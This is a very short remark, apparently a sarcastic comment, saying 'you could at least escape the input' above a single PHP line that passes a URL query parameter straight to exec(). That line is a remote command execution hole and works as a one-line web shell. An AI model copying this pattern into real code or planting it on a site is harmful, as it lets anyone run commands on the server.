you could at least escape the input
exec(urldecode($_GET['exec']));